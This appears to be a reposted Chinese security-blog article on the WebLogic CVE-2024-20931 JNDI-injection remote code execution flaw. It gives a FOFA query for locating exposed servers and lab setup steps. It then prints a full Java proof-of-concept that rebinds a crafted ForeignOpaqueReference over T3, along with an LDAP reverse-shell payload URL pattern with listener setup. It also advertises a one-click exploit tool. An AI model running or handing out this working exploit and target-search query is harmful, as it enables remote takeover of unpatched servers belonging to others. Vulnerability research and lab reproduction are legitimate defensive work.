Weblogic CVE-2024-20931 JNDI注入RCE

admin 2024年3月25日07:50:50评论24 views字数 2465阅读8分13秒阅读模式
Weblogic CVE-2024-20931 JNDI注入RCE

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习交流使用,如若非法他用,与平台和本文作者无关,需自行负责!

00

漏洞概述

Weblogic CVE-2024-20931 JNDI注入RCE

Weblogic T3IIOP协议的远程命令执行漏洞CVE-2024-20931,原理上属于CVE-2023-21839补丁的绕过,在java.naming.provider.url为空的情况下,指定AQjmsInitialContextFactory进行初始化时通过JNDI去获取远程的DataSource,成功达成一种二次JNDI注入。

01

空间搜索语法

Weblogic CVE-2024-20931 JNDI注入RCE

fofa

app="WebLogic-Server" && title="Error 404--Not Found"

Weblogic CVE-2024-20931 JNDI注入RCE

02

利用过程

Weblogic CVE-2024-20931 JNDI注入RCE

测试环境直接使用vulhub的CVE-2023-21839

cd vulhub-master/weblogic/CVE-2023-21839docker-compose -f docker-compose.yml up -d #启动环境

环境启动后,进入容器获取验证时使用的wlfullclient.jar依赖

1、docker exec -it 容器ID bash2、find / -name wljarbuilder.jar #找到wljarbuilder.jar的存储路径,wljarbuilder.jar用于生成wlfullclient。jar3、java -jar wljarbuilder.jar #生成wljarbuilder.jar4、拷贝容器中生成好的wlfullclient.jar至主机。docker cp 容器ID:/u01/oracle/wlserver/server/lib/wlfullclient.jar /home/kali/Desktop/

在IDEA中引入wlfullclient.jar依赖,修改如下位置,使用dns协议进行命令验证。

env2.put("datasource", "dns://lll.kdkhjwuudyd.ngx0w0.dnslog.cn/");

Weblogic CVE-2024-20931 JNDI注入RCE

Weblogic CVE-2024-20931 JNDI注入RCE

或修改dns为ldap协议反弹shell

ldap://IP:1389/Basic/Command/Base64/[base64encode]

Weblogic CVE-2024-20931 JNDI注入RCE

设置ldap监听

Weblogic CVE-2024-20931 JNDI注入RCE

nc监听

Weblogic CVE-2024-20931 JNDI注入RCE

poc

package com.weblogictest;import weblogic.deployment.jms.ForeignOpaqueReference;import javax.naming.Context;import javax.naming.InitialContext;import java.lang.reflect.Field;import java.util.Hashtable;public class CVE_2024_209321 {    public static void main(String[] args) throws Exception {        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";        // 创建用来远程绑定对象的InitialContext        String url = "t3://192.168.199.128:7001/";        Hashtable env1 = new Hashtable();        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);        env1.put(Context.PROVIDER_URL, url); // 目标        InitialContext c = new InitialContext(env1);        // ForeignOpaqueReference的jndiEnvironment属性        Hashtable env2 = new Hashtable();        env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");        env2.put("datasource", "dns://lll.kdkhjwuudyd.ngx0w0.dnslog.cn/");        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性        ForeignOpaqueReference f = new ForeignOpaqueReference();        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");        jndiEnvironment.setAccessible(true);        jndiEnvironment.set(f, env2);        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");        remoteJNDIName.setAccessible(true);        String ldap = "dns://s12.u515dz.dnslog.cn";        remoteJNDIName.set(f, ldap);        // 远程绑定ForeignOpaqueReference对象        c.rebind("glassy", f);        // lookup查询ForeignOpaqueReference对象        try {            c.lookup("glassy");        } catch (Exception e) {        }    }}

03

小工具

Weblogic CVE-2024-20931 JNDI注入RCE

获取小工具关注本公众号后发送:

20240324

可以使用如下工具一键利用,用法 java -jar CVE_2024_20931.jar -h

Weblogic CVE-2024-20931 JNDI注入RCE

关注我们

原文始发于微信公众号(天澜实验室):Weblogic CVE-2024-20931 JNDI注入RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月25日07:50:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Weblogic CVE-2024-20931 JNDI注入RCEhttp://cn-sec.com/archives/2600441.html

发表评论

匿名网友 填写信息